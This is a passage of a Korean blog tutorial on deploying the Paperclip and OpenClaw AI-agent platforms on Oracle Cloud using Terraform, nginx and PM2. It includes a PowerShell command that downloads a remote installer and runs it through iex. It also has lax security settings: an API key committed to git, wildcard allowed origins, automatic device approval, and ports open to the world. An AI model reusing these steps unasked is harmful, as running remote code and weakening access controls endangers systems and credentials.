      "NOTION_TOKEN=${var.notion_token}",
      "DISCORD_CLIENT_ID=${var.discord_client_id}",
      "COMPANY_NAME=bllocorp",
      "HOST=0.0.0.0",
      "PAPERCLIP_DEPLOYMENT_MODE=authenticated",
      "PAPERCLIP_AUTH_BASE_URL_MODE=explicit",
      "BETTER_AUTH_SECRET=$BETTER_AUTH_SECRET",
      "PAPERCLIP_PUBLIC_URL=https://${local.server_ip}:3443",
      "PAPERCLIP_AUTH_DISABLE_SIGN_UP=true",
      "EOT",

      "echo '>>> .env 생성 완료'",

      # Paperclip allowedHostnames config 생성 (외부 IP 접속 허용)
      "mkdir -p /home/ubuntu/.paperclip/instances/default",
      <<-PYALLOWED
      python3 -c "
import json, pathlib
p = pathlib.Path('/home/ubuntu/.paperclip/instances/default/config.json')
if p.exists():
    c = json.loads(p.read_text())
else:
    c = {}
hosts = set(c.get('allowedHostnames', []))
hosts.update(['localhost', '127.0.0.1', '${local.server_ip}'])
c['allowedHostnames'] = sorted(hosts)
p.write_text(json.dumps(c, indent=2))
print('>>> Paperclip allowedHostnames:', c['allowedHostnames'])
"
      PYALLOWED
      ,

      # 의존성 설치
      "cd /opt/paperclip",
      "pnpm install --frozen-lockfile 2>/dev/null || pnpm install",

      # PM2용 bash wrapper 생성 (환경변수 .env 로드 + pnpm dev)
      "cat > /home/ubuntu/start-paperclip.sh << 'PPWRAP'",
      "#!/bin/bash",
      "cd /opt/paperclip",
      "set -a; source /opt/paperclip/.env; set +a",
      "exec pnpm dev",
      "PPWRAP",
      "chmod +x /home/ubuntu/start-paperclip.sh",

      # PM2로 Paperclip 실행 (bash wrapper 경유 — 환경변수 안정적 전달)
      "pm2 start /home/ubuntu/start-paperclip.sh --name paperclip --interpreter bash",
      "sleep 8",
      "pm2 logs paperclip --lines 15 --nostream || true",
      "echo '>>> Paperclip 설치 완료'",
    ]
  }

  # ── Phase 3-b: OpenClaw agent API key 사전 생성 ─────────────
  # Paperclip이 기동된 뒤 곧바로 agent API key를 생성하여
  # ~/.openclaw/workspace/paperclip-claimed-api-key.json 에 저장.
  # 이렇게 하면 첫 번째 heartbeat run에서 파일이 없어 실패하는 문제를 방지.
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== Paperclip agent API key 사전 생성 ==='",

      # Paperclip이 완전히 올라올 때까지 최대 60초 대기
      "for i in $(seq 1 12); do",
      "  STATUS=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:3100/api/health 2>/dev/null || echo '000')",
      "  if [ \"$STATUS\" = '200' ]; then echo '>>> Paperclip health OK'; break; fi",
      "  echo \">>> Paperclip 아직 준비 중... ($i/12)\"; sleep 5",
      "done",

      # OpenClaw agent가 Paperclip에 등록될 때까지 최대 30초 대기
      "AGENT_ID=''",
      "for i in $(seq 1 10); do",
      "  AGENT_ID=$(curl -s http://127.0.0.1:3100/api/agents -H 'x-paperclip-local-admin: 1' 2>/dev/null | python3 -c \"import json,sys; rows=json.load(sys.stdin); a=next((r for r in rows if 'openclaw' in (r.get('name','') or '').lower()),None); print(a['id'] if a else '')\" 2>/dev/null || echo '')",
      "  if [ -n \"$AGENT_ID\" ]; then echo \">>> Agent ID: $AGENT_ID\"; break; fi",
      "  echo \">>> OpenClaw agent 등록 대기 중... ($i/10)\"; sleep 3",
      "done",

      # Agent ID 확인 실패 시 건너뜀 (설치 자체는 중단하지 않음)
      "if [ -z \"$AGENT_ID\" ]; then echo '>>> WARN: agent 미등록 — key 사전 생성 건너뜀'; exit 0; fi",

      # agent API key 생성 (local admin 헤더 사용)
      "KEY_JSON=$(curl -s -X POST http://127.0.0.1:3100/api/agents/$AGENT_ID/keys -H 'Content-Type: application/json' -H 'x-paperclip-local-admin: 1' -d '{\"label\":\"bootstrap-key\"}' 2>/dev/null || echo '')",
      "TOKEN=$(echo \"$KEY_JSON\" | python3 -c \"import json,sys; d=json.load(sys.stdin); print(d.get('token',''))\" 2>/dev/null || echo '')",
      "KEY_ID=$(echo \"$KEY_JSON\" | python3 -c \"import json,sys; d=json.load(sys.stdin); print(d.get('id',''))\" 2>/dev/null || echo '')",

      "if [ -z \"$TOKEN\" ]; then echo '>>> WARN: API key 생성 실패 — 건너뜀'; exit 0; fi",
      "echo \">>> API key 생성 완료 (keyId: $KEY_ID)\"",

      # ~/.openclaw/workspace/ 에 JSON 파일로 저장
      "mkdir -p /home/ubuntu/.openclaw/workspace",
      "python3 -c \"",
      "import json, sys",
      "token = '$TOKEN'",
      "key_id = '$KEY_ID'",
      "agent_id = '$AGENT_ID'",
      "import datetime",
      "data = {'keyId': key_id, 'token': token, 'agentId': agent_id, 'createdAt': datetime.datetime.utcnow().isoformat() + 'Z'}",
      "import pathlib",
      "p = pathlib.Path('/home/ubuntu/.openclaw/workspace/paperclip-claimed-api-key.json')",
      "p.write_text(json.dumps(data))",
      "p.chmod(0o600)",
      "print('>>> paperclip-claimed-api-key.json 저장 완료:', str(p))",
      "\"",

      # git workspace에도 커밋
      "cd /home/ubuntu/.openclaw/workspace",
      "git add paperclip-claimed-api-key.json 2>/dev/null || true",
      "git commit -m 'chore: add bootstrap paperclip api key' 2>/dev/null || true",
      "echo '>>> git commit 완료'",
    ]
  }

  # ── Phase 4: nginx HTTPS reverse proxy 설정 ────────────────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== nginx HTTPS 프록시 설정 ==='",

      # 자체 서명 SSL 인증서 생성 (10년 유효)
      "sudo mkdir -p /etc/nginx/ssl",
      "if [ ! -f /etc/nginx/ssl/selfsigned.crt ]; then",
      "  sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/selfsigned.key -out /etc/nginx/ssl/selfsigned.crt -subj '/CN=${local.server_ip}/O=OpenClaw/C=KR'",
      "  echo '>>> SSL 인증서 생성 완료'",
      "fi",

      # nginx 설정 — OpenClaw(443) + Paperclip(3443) HTTPS reverse proxy
      "cat > /tmp/openclaw-ssl << 'NGINXCONF'",
      "server {",
      "    listen 443 ssl;",
      "    server_name _;",
      "    ssl_certificate     /etc/nginx/ssl/selfsigned.crt;",
      "    ssl_certificate_key /etc/nginx/ssl/selfsigned.key;",
      "    ssl_protocols       TLSv1.2 TLSv1.3;",
      "    location / {",
      "        proxy_pass http://127.0.0.1:18789;",
      "        proxy_http_version 1.1;",
      "        proxy_set_header Upgrade $http_upgrade;",
      "        proxy_set_header Connection \"upgrade\";",
      "        proxy_set_header Host $http_host;",
      "        proxy_set_header X-Real-IP $remote_addr;",
      "        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
      "        proxy_set_header X-Forwarded-Proto https;",
      "        proxy_read_timeout 86400;",
      "        proxy_send_timeout 86400;",
      "    }",
      "}",
      "server {",
      "    listen 3443 ssl;",
      "    server_name _;",
      "    ssl_certificate     /etc/nginx/ssl/selfsigned.crt;",
      "    ssl_certificate_key /etc/nginx/ssl/selfsigned.key;",
      "    ssl_protocols       TLSv1.2 TLSv1.3;",
      "    location / {",
      "        proxy_pass http://127.0.0.1:3100;",
      "        proxy_http_version 1.1;",
      "        proxy_set_header Upgrade $http_upgrade;",
      "        proxy_set_header Connection \"upgrade\";",
      "        proxy_set_header Host $http_host;",
      "        proxy_set_header X-Real-IP $remote_addr;",
      "        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;",
      "        proxy_set_header X-Forwarded-Proto https;",
      "        proxy_read_timeout 86400;",
      "        proxy_send_timeout 86400;",
      "    }",
      "}",
      "NGINXCONF",
      "sudo mv /tmp/openclaw-ssl /etc/nginx/sites-available/openclaw-ssl",
      "sudo ln -sf /etc/nginx/sites-available/openclaw-ssl /etc/nginx/sites-enabled/",
      "sudo rm -f /etc/nginx/sites-enabled/default",
      "sudo nginx -t && sudo systemctl restart nginx",
      "sudo systemctl enable nginx",
      "echo '>>> nginx HTTPS 프록시 활성화 완료'",
    ]
  }

  # ── Phase 5: PM2 상태 저장 & 재부팅 시 자동 실행 등록 ──────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== PM2 자동 시작 등록 ==='",

      "pm2 save --force",
      "sudo env PATH=$PATH:/usr/bin pm2 startup systemd -u ubuntu --hp /home/ubuntu || true",

      # 최종 상태 출력
      "echo ''",
      "echo '========================================================'",
      "echo '=== 최종 상태 확인 ==='",
      "echo '========================================================'",
      "pm2 list",
      "echo ''",
      "echo \"Node.js: $(node -v)\"",
      "echo \"npm:     $(npm -v)\"",
      "echo \"pnpm:    $(pnpm -v)\"",
      "echo \"pm2:     $(pm2 -v)\"",
      "echo ''",

      # 서비스 바인딩 확인 (앱 + HTTPS 프록시)
      "echo '>>> 포트 바인딩 확인:'",
      "sudo ss -tlnp | grep -E '18789|3100|443|3443' || echo '경고: 서비스 포트 미감지'",

      "echo ''",
      "echo \"=== 완료: $(date '+%Y-%m-%d %H:%M:%S') ===\"",
    ]
  }
}

output "instance_public_ip" {
  description = "설치된 서버 공인 IP"
  value       = local.server_ip
}

output "openclaw_url" {
  description = "OpenClaw Gateway URL (HTTPS)"
  value       = "https://${local.server_ip}"
}

output "paperclip_url" {
  description = "Paperclip URL (HTTPS)"
  value       = "https://${local.server_ip}:3443"
}

# terraform plan  -target "null_resource.install_ai_agents"
# terraform apply -target "null_resource.install_ai_agents"

# ============================================================
# 설치 후 확인
# ============================================================

# PM2 프로세스 상태 확인
# ssh ubuntu@161.~.~.~.~ "pm2 list"
# 결과: openclaw, paperclip 모두 "online" 상태여야 함

# Discord 테스트
# 서버 채널에서 @claw 또는 슬래시 커맨드로 봇 테스트
# 예: @claw 안녕
#     /agents hi
# 응답 예: "안녕하세요! 무엇을 도와드릴까요?"

# API 할당량 확인
# ssh ubuntu@161.~.~.~.~ "openclaw models status"
# 결과: "github-copilot usage: Premium XX% left · Chat 100% left"
# Premium 0%가 되면 Copilot Pro 결제 필요

참고 사항

- 포트 13100은 Paperclip의 WebSocket dev 서버 포트이며, 정리하지 않으면 충돌합니다.

- PM2가 `.mjs` 파일의 심볼릭 링크를 ESM 모듈로 실행할 때, `--` 뒤 인자를 무시하는 버그가 있습니다.
bash wrapper에서 `exec /usr/bin/node <경로> gateway`로 직접 호출하면 해결됩니다.

- 브라우저에서 Control UI 접속 시 "origin not allowed" 에러가 나면 `controlUi.allowedOrigins`를 `['*']`로 설정합니다.

- OpenClaw는 새 장치(브라우저) 연결 시 pairing 승인이 필요한 구조입니다.
`openclaw devices approve --latest`로 자동 승인하며, 수동으로는 Control UI에서 승인합니다.

- OpenClaw Control UI는 WebCrypto API를 사용합니다.
대부분의 브라우저는 `http://`에서 WebCrypto를 차단하며 (Secure Context 필수).
자체 서명 인증서라도 `https://`이면 동작합니다. 브라우저 경고만 무시하면 됩니다.
(* 정 거슬리시면 자체 도메인 구성하시거나, XRDP를 통해서 로컬로 접속하시면됩니다.)

Paperclip

Paperclip은 여러 AI Agent를 조직처럼 관리하고 협업시키는 AI 회사 운영 플랫폼 오픈소스입니다.
각자의 역할과 권한에 따라 비즈니스 목표를 달성하도록 오케스트레이션(Orchestration)하는 중앙 제어 시스템입니다.

paperclipai/paperclip: Open-source orchestration for zero-human companies

GitHub - paperclipai/paperclip: Open-source orchestration for zero-human companies

Open-source orchestration for zero-human companies - paperclipai/paperclip

github.com

구축 사항

- Paperclip은 `pnpm start` 스크립트가 없으며,
`pnpm dev`만 동작합니다. 처음에 `pnpm start`로 실행해서 "Missing script" 에러가 발생합니다.

- `local_trusted`는 127.0.0.1 로컬 접속만 가능하며, `authenticated`는 0.0.0.0 접속 가능하기 때문에
즉, 외부 접속을 받으려면 반드시 `authenticated` 모드와 `HOST=0.0.0.0` 세팅이 필요하며,
`local_trusted`에서 `HOST=0.0.0.0`을 하면 보안 에러가 발생합니다.

- Paperclip은 외부 IP로 접속하면 "Hostname not allowed" 오류가 발생하기 때문에
`~/.paperclip/instances/default/config.json`에 허용할 호스트명을 등록해야 합니다.

접속 및 세팅

OpenClaw Control UI - https://<서버IP>
Paperclip - https://<서버IP>:3443
* 개인적으로 개인 도메인 구성을 권장합니다.

첫 브라우저 접속 시 "pairing required" 에러가 난다면
아래 명령어를 통해 장치를 승인합니다.

openclaw devices approve --latest

Agent - Skills

사용 할 skills 항목에 맞게 활성화 해주시면됩니다.

Paperclip + OpenClaw 연동

우선 Paperclip 접속하여 초기 설정을 완료합니다.

회사 이름 입력후 모두 기본값으로 넘어가 줍니다.
초기설정에는 OpenClaw Gateway가 비활성화 상태입니다.

Paperclip UI → Settings → Invites → 초대 링크 생성

URL 값의 pcp_invite_<번호>를 기억합니다.

이후 OpenClaw 서버에서 초대를 수락해야합니다.

매번 curl 치기 번거로우므로 `join_paperclip.sh` 스크립트를 작성합니다.
pcp_invite_<번호>에 Paperclip에서 생성했던 초대 URL값을 작성합니다.

스크립트 안의 초대 코드(`pcp_invite_xxxx`)는 매번 새로 생성한 코드로 교체해야 합니다.
초대 코드는 1회용이므로, 재연동 시에는 Paperclip UI에서 새 초대를 생성합니다.

#!/bin/bash
set -e

TOKEN=$(cat /home/ubuntu/.openclaw/openclaw.json | jq -r '.gateway.auth.token')
echo "Token: $TOKEN"

BODY=$(python3 -c "
import json
body = {
    'requestType': 'agent',
    'agentName': 'OpenClaw',
    'adapterType': 'openclaw_gateway',
    'capabilities': 'OpenClaw agent adapter',
    'agentDefaultsPayload': {
        'url': 'ws://127.0.0.1:18789',
        'paperclipApiUrl': 'https://127.0.0.1:3443',
        'headers': {'x-openclaw-token': '$TOKEN'},
        'waitTimeoutMs': 120000,
        'sessionKeyStrategy': 'issue',
        'role': 'operator',
        'scopes': ['operator.admin']
    }
}
print(json.dumps(body))
")

echo "Body: $BODY"

RESULT=$(curl -sk -X POST https://127.0.0.1:3443/api/invites/pcp_invite_<번호>/accept \
  -H 'Content-Type: application/json' \
  -d "$BODY" 2>&1)

echo "Response: $RESULT"

# Save response for later claim
echo "$RESULT" > /tmp/join_response.json

# 서버에서 실행
chmod +x /home/ubuntu/join_paperclip.sh

# 초대 코드를 스크립트 안에 설정한 뒤 실행
bash /home/ubuntu/join_paperclip.sh

Inbox에서 초대를 수락합니다.

Terraform 활용한 Oracle Cloud 인스턴스 생성

wogho — Thu, 2 Apr 2026 05:06:55 +0900

OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서
지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.

해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하는 과정을 작성해보았습니다.
오라클 클라우드 계정이 없다면 아래 링크를 통하여 가입을 진행합니다.

가입 시 별도의 신용카드가 필요합니다.

https://signup.cloud.oracle.com/

Oracle Cloud Free Tier Signup

signup.cloud.oracle.com

무료 계정이 사용할 수 있는 사양은 다음과 같습니다.

AMD 기반 표준 인스턴스 (최대 2개) - 1/8 OCPU, 1GB RAM

ARM 기반 Ampere A1 인스턴스 - 최대 4 OCPU, 24GB RAM

ARM을 통하여 인스턴스 생성을 다뤄 보도록하겠습니다.

ARM은 스마트폰 기반 아키텍처이므로 호환성 문제와 도커 사용이 무리가 있습니다.
하지만, OpenClaw 같은 오픈소스 활용하기에는 제약은 없습니다.

OpenClaw 이용해서 도커나 다양한 걸 시도하고 싶으신 분은
hostinger 원클릭 서비스를 이용해보시거나 로컬, 맥미니 이용하시길 바랍니다.
https://www.hostinger.com/kr?REFERRALCODE=SN6DNLDP5WL6

Terraform 설치

https://developer.hashicorp.com/terraform/install

Install | Terraform | HashiCorp Developer

Explore Terraform product documentation, tutorials, and examples.

developer.hashicorp.com

공식 홈페이지 혹은 아래 코드를 통하여 Terraform를 설치하도록합니다.

winget install HashiCorp.Terraform
terraform -version

Terraform이 OCI API를 호출하려면 API Signing Key가 필요합니다.

# Windows PS에서 PEM 키 쌍 생성
ssh-keygen -t rsa -b 2048 -f C:\Users\(사용자이름)\.ssh\my_key.pem -N ""

OCI 콘솔 → 우측 상단 프로필 아이콘 → 사용자 설정

좌측 메뉴 → API 키 → API 키 추가

퍼블릭 키 붙여넣기 선택 → my_key.pem.pub 내용 붙여넣기

my_key.pem의 텍스트를 전부 복사합니다.
(-----BEGIN PUBLIC KEY-----부터 -----END PUBLIC KEY-----까지 전부 포함해야 합니다.)

추가 후 표시되는 구성 파일 미리보기에서 다음 값 확인합니다.:
   - tenancy (Tenancy OCID)
   - user (User OCID)
   - fingerprint
   - region

최종적으로 필요한 OCID 정보는 다음과 같습니다.
Tenancy OCID: 관리 → 테넌시 세부정보
User OCID: 프로필 → 사용자 설정
Compartment OCID: ID → 구획 (root compartment = tenancy OCID)
Availability Domain: 컴퓨트 → 인스턴스 → 인스턴스 생성 화면에서 확인

OCI CLI 설치

테라폼이 오라클 계정에 로그인할 수 있도록 OCI CLI를 설치하고 설정해야 합니다.

PowerShell를 실행합니다.

# 1. 스크립트 실행 권한 허용
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

# 2. 설치 스크립트 다운로드 및 실행
powershell -ExecutionPolicy RemoteSigned -Command "iex ([(Array)(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.ps1')])"

oci -v

oci setup config

설치 후 oci setup config 명령어를 입력합니다.

이때 오라클 클라우드 콘솔에서 내 계정의 User OCID와 Tenancy OCID

그리고 현재 사용 중인 리전 정보를 입력해야 합니다.

설정 과정에서 API 서명 키는 이미 생성했으므로 스킵합니다.

Terraform 적용

이후 부터는 IDE 사용하여 AI 에이전트를 통해 바이브코딩을 구성하여도 좋습니다.
저는 다음과 같이 적용하였습니다.

oci-project/
├── infra/
│   ├── provider.tf      # OCI 프로바이더 인증 설정
│   ├── variables.tf     # compartment_id, availability_domain
│   └── main.tf          # VCN, 서브넷, 보안 목록, 인스턴스
├── apps/
│   ├── provider.tf
│   └── install_apps.tf  # 앱 설치 (openclaw, paperclip 기타 오픈소스)
└── connect.rdp          # RDP 접속 파일

provider.tf

provider.tf는 OCI의 계정 정보와 인증 정보를 담습니다.
실제 운영 시에는 OCID, fingerprint를 terraform.tfvars나 환경변수로 분리하는것을 권고합니다.

# infra/provider.tf
provider "oci" {
  tenancy_ocid     = "ocid1.tenancy.oc1..aaaa..."   # Tenancy OCID
  user_ocid        = "ocid1.user.oc1..aaaa..."       # User OCID
  fingerprint      = "9d:bd:22:ef:f8:b7:45:ff:..."   # API 키 fingerprint
  private_key_path = "C:/Users/(사용자이름)/.ssh/my_key.pem"   # API 서명용 PEM 키
  region           = "ap-seoul-1"                     # 홈 리전
}

variables.tf

variables.tf는 입력하는 변수에 대해서 지정합니다.
상시 변화되는 값을 이곳에 분리 하여 저장하도록 관리 하였습니다.

여기서 인스턴스 가용성 도메인(AD)은 인스턴스 생성할 리전을 의미합니다.
국내에서 생성 할 수 있는 무료 인스턴스가 한정 되어있기 때문에 오류가 발생한다면
일본으로 변경하거나 다른 지역으로 변경해야합니다.

variable "compartment_id" {
  description = "OCI Compartment OCID (기본값: root tenancy)"
  default     = "ocid1.tenancy.oc1..aaaa..."
}

variable "availability_domain" {
  description = "인스턴스 가용성 도메인"
  default     = "GQyV:AP-SEOUL-1-AD-1"
}

가용성 도메인 확인 방법

OCI 콘솔 또는 CLI로 확인:

oci iam availability-domain list --compartment-id <테넌시_ocid>

main.rf

main은 VCN, 서브넷, 보안 목록, 인스턴스 항목을 정의 합니다.

1. 프로바이더 설정 (OCI)
2. VCN 및 서브넷 생성
3. 인터넷 게이트웨이 및 라우팅 테이블 연결
4. 보안 목록(Security List) 생성 (SSH, RDP 포트 개방)
5. Compute Instance (ARM) 생성 및 user_data (설치 스크립트) 적용

사용자 요구사항에 맞게 설정 하도록 합니다.

# 1. 가상 네트워크 및 기본 보안 설정
resource "oci_core_vcn" "paperclip_vcn" {
  compartment_id = var.compartment_id
  cidr_block     = "10.0.0.0/16"
  display_name   = "paperclip-vcn"
  dns_label      = "paperclip"
}

resource "oci_core_internet_gateway" "ig" {
  compartment_id = var.compartment_id
  vcn_id         = oci_core_vcn.paperclip_vcn.id
  display_name   = "internet-gateway"
}

resource "oci_core_default_route_table" "rt" {
  manage_default_resource_id = oci_core_vcn.paperclip_vcn.default_route_table_id
  route_rules {
    destination       = "0.0.0.0/0"
    network_entity_id = oci_core_internet_gateway.ig.id
  }
}

resource "oci_core_security_list" "paperclip_sl" {
  compartment_id = var.compartment_id
  vcn_id         = oci_core_vcn.paperclip_vcn.id
  display_name   = "paperclip-security-list"

  ingress_security_rules { # SSH
    protocol = "6"
    source   = "0.0.0.0/0"
    tcp_options {
      min = 22
      max = 22
    }
  }

  ingress_security_rules { # Paperclip UI
    protocol = "6"
    source   = "0.0.0.0/0"
    tcp_options {
      min = 3100
      max = 3100
    }
  }

  # RDP 접속을 위한 3389 포트
  ingress_security_rules {
    protocol    = "6"
    source      = "0.0.0.0/0"
    description = "Allow RDP"
    tcp_options {
      min = 3389
      max = 3389
    }
  }

  ingress_security_rules { # OpenClaw Gateway
    protocol    = "6"
    source      = "0.0.0.0/0"
    description = "Allow OpenClaw Gateway"
    tcp_options {
      min = 18789
      max = 18789
    }
  }

  ingress_security_rules { # HTTPS — OpenClaw Control UI
    protocol    = "6"
    source      = "0.0.0.0/0"
    description = "Allow HTTPS (OpenClaw)"
    tcp_options {
      min = 443
      max = 443
    }
  }

  ingress_security_rules { # HTTPS — Paperclip
    protocol    = "6"
    source      = "0.0.0.0/0"
    description = "Allow HTTPS (Paperclip)"
    tcp_options {
      min = 3443
      max = 3443
    }
  }

  egress_security_rules {
    protocol    = "all"
    destination = "0.0.0.0/0"
  }
}

resource "oci_core_subnet" "paperclip_subnet" {
  cidr_block        = "10.0.1.0/24"
  compartment_id    = var.compartment_id
  vcn_id            = oci_core_vcn.paperclip_vcn.id
  display_name      = "paperclip-subnet"
  dns_label         = "subnet1"
  security_list_ids = [oci_core_security_list.paperclip_sl.id]
}

# 인스턴스 생성 (Ubuntu 24.04 ARM)
resource "oci_core_instance" "paperclip_arm" {
  availability_domain = var.availability_domain
  compartment_id      = var.compartment_id
  shape               = "VM.Standard.A1.Flex"

  shape_config {
    ocpus         = 4
    memory_in_gbs = 24
  }

  source_details {
    source_type = "image"
    source_id   = "<OCI 콘솔에서 확인한 Ubuntu 24.04 ARM 이미지 OCID>"
  }

  create_vnic_details {
    subnet_id        = oci_core_subnet.paperclip_subnet.id
    assign_public_ip = true
  }

  metadata = {
    ssh_authorized_keys = file("<SSH 공개키 경로, 예: ~/.ssh/my_key.pem.pub>")

    # Ubuntu 24.04 ARM용 자동 설치 스크립트 (오류 대비 강화)
    # ubuntu-desktop + xrdp 전용 구성
    user_data = base64encode(<<-EOT
      #!/bin/bash
      # ── 로그 설정: 모든 출력을 파일 + 콘솔에 동시 기록 ──
      LOG_FILE="/var/log/setup-script.log"
      exec > >(tee -a "$LOG_FILE") 2>&1
      echo "=== 설치 시작: $(date '+%Y-%m-%d %H:%M:%S') ==="

      # ════════════════════════════════════════════════════════════
      # 유틸리티 함수 정의
      # ════════════════════════════════════════════════════════════

      # apt 재시도 함수 (최대 5회, 실패마다 apt-get update 재실행)
      apt_install_with_retry() {
        local pkgs="$*"
        local max=5
        local n=1
        while [ $n -le $max ]; do
          echo "[apt] 시도 $n/$max: $pkgs"
          if apt-get install -y --fix-missing \
              -o Dpkg::Options::="--force-confold" \
              -o Dpkg::Options::="--force-confdef" \
              -o Acquire::Retries=3 \
              $pkgs; then
            echo "[apt] 성공: $pkgs"
            return 0
          fi
          echo "[apt] 실패($n/$max). 저장소 재갱신 후 60초 대기..."
          # broken 패키지 복구 후 재갱신
          dpkg --configure -a 2>/dev/null || true
          apt-get -f install -y 2>/dev/null || true
          apt-get update --fix-missing -o Acquire::Retries=3 || true
          sleep 60
          n=$((n + 1))
        done
        echo "[apt] 최종 실패: $pkgs → dpkg 직접 설치 방식으로 전환"
        return 1  # 호출부에서 dpkg 폴백 분기 처리
      }

      # dpkg 직접 설치 함수 (공식 Launchpad/GitHub releases에서 .deb 다운로드)
      dpkg_install_from_url() {
        local name="$1"
        local url="$2"
        local deb="/tmp/$${name}.deb"
        echo "[dpkg] $name .deb 직접 다운로드: $url"
        local max=5
        local n=1
        while [ $n -le $max ]; do
          if curl -fsSL --retry 3 --retry-delay 10 -o "$deb" "$url"; then
            echo "[dpkg] 다운로드 완료 → dpkg -i 설치 시도"
            dpkg -i "$deb" && echo "[dpkg] 설치 성공: $name" && return 0
            echo "[dpkg] dpkg 실패, 의존성 해결 시도..."
            apt-get -f install -y || true
            dpkg -i "$deb" && echo "[dpkg] 재시도 성공: $name" && return 0
          fi
          echo "[dpkg] 다운로드 실패($n/$max). 30초 후 재시도..."
          sleep 30
          n=$((n + 1))
        done
        echo "[dpkg] 최종 실패: $name"
        return 1
      }

      # systemctl 안전 실행 (서비스 존재 여부 먼저 확인)
      safe_systemctl() {
        local action="$1"
        local svc="$2"
        if systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$${svc}"; then
          systemctl "$action" "$svc" \
            && echo "[systemctl] $svc $action 완료" \
            || echo "[systemctl] $svc $action 실패 (무시)"
        else
          echo "[systemctl] '$svc' 서비스 없음 → 건너뜀"
        fi
      }

      # ════════════════════════════════════════════════════════════
      # 1. 환경 변수 (팝업 방지)
      # ════════════════════════════════════════════════════════════
      export DEBIAN_FRONTEND=noninteractive
      export UCF_FORCE_CONFOLD=1
      export NEEDRESTART_MODE=a

      timedatectl set-timezone Asia/Seoul || echo "[tz] 시간대 설정 실패 (무시)"

      # ════════════════════════════════════════════════════════════
      # 2. 스왑 메모리 (4GB)
      # ════════════════════════════════════════════════════════════
      echo "=== 스왑 설정 ==="
      if [ ! -f /swapfile ]; then
        fallocate -l 4G /swapfile \
          || dd if=/dev/zero of=/swapfile bs=1M count=4096 status=progress
        chmod 600 /swapfile
        mkswap /swapfile
        swapon /swapfile
        echo '/swapfile none swap sw 0 0' >> /etc/fstab
        echo "[swap] 완료"
      else
        echo "[swap] 스왑파일 이미 존재 → 건너뜀"
      fi
      sysctl vm.swappiness=10 || true
      echo 'vm.swappiness=10' >> /etc/sysctl.conf

      # ════════════════════════════════════════════════════════════
      # 3. iptables 방화벽 규칙 설정 (OCI 기본 정책: INPUT DROP 대비)
      #    - OCI Ubuntu 이미지는 기본 iptables 정책이 DROP이므로
      #      SSH(22), RDP(3389) 포트를 명시적으로 허용해야 함
      # ════════════════════════════════════════════════════════════
      echo "=== iptables 방화벽 규칙 설정 ==="

      # SSH(22) 허용 - 최우선 삽입 (잠기지 않도록 보장)
      iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT \
        && echo "[iptables] SSH(22) 허용 완료" \
        || echo "[iptables] SSH(22) 규칙 추가 실패"

      # RDP(3389) 허용
      iptables -I INPUT 2 -p tcp --dport 3389 -j ACCEPT \
        && echo "[iptables] RDP(3389) 허용 완료" \
        || echo "[iptables] RDP(3389) 규칙 추가 실패"

      # ESTABLISHED/RELATED 허용 (응답 패킷 허용)
      iptables -I INPUT 3 -m state --state ESTABLISHED,RELATED -j ACCEPT \
        || true

      # loopback 허용
      iptables -I INPUT 4 -i lo -j ACCEPT \
        || true

      # 규칙 영구 저장 (재부팅 후에도 유지)
      mkdir -p /etc/iptables
      iptables-save > /etc/iptables/rules.v4 \
        && echo "[iptables] 규칙 영구 저장 완료 (/etc/iptables/rules.v4)" \
        || echo "[iptables] 규칙 저장 실패"

      # 재부팅 시 자동 복원을 위한 rc.local 등록
      if [ ! -f /etc/rc.local ]; then
        echo '#!/bin/bash' > /etc/rc.local
        chmod +x /etc/rc.local
      fi
      grep -q 'iptables-restore' /etc/rc.local \
        || echo 'iptables-restore < /etc/iptables/rules.v4' >> /etc/rc.local

      echo "[iptables] 현재 INPUT 규칙:"
      iptables -L INPUT -n --line-numbers 2>/dev/null | head -20 || true

      # ════════════════════════════════════════════════════════════
      # 4. apt-get update (최대 5회 재시도)
      # ════════════════════════════════════════════════════════════
      echo "=== apt-get update ==="
      for i in 1 2 3 4 5; do
        if apt-get update --fix-missing -o Acquire::Retries=3; then
          echo "[update] 성공"
          break
        fi
        echo "[update] 실패($i/5). 30초 후 재시도..."
        sleep 30
      done

      # 선행 필수 도구 설치
      apt_install_with_retry ca-certificates curl gnupg lsb-release apt-transport-https \
        || true

      # 기존 패키지 업그레이드
      apt-get upgrade -y \
        -o Dpkg::Options::="--force-confold" \
        -o Dpkg::Options::="--force-confdef" \
        || echo "[upgrade] 경고 발생 (무시하고 계속)"

      # ════════════════════════════════════════════════════════════
      # 4. ubuntu-desktop 설치
      #    실패 시: universe 저장소 추가 후 재시도 → 최종 실패 시 기록
      # ════════════════════════════════════════════════════════════
      echo "=== ubuntu-desktop 설치 (10~20분 소요) ==="

      DESKTOP_OK=false

      # 1차: 기본 저장소로 시도
      if apt_install_with_retry ubuntu-desktop; then
        DESKTOP_OK=true
        echo "[desktop] apt(기본 저장소) 설치 성공"
      else
        echo "[desktop] 기본 저장소 실패 → universe/PPA 저장소 추가 후 재시도"

        # 2차: universe 저장소 활성화 후 재시도
        add-apt-repository -y universe || true
        add-apt-repository -y multiverse || true
        apt-get update --fix-missing -o Acquire::Retries=3 || true

        if apt_install_with_retry ubuntu-desktop; then
          DESKTOP_OK=true
          echo "[desktop] apt(universe 저장소) 설치 성공"
        else
          echo "[desktop] 저장소 방식 모두 실패 → 최종 실패로 기록"
          DESKTOP_OK=false
        fi
      fi

      # ════════════════════════════════════════════════════════════
      # 5. xrdp 설치
      #    실패 시 1: Launchpad PPA(neutrinolabs) 추가 후 재시도
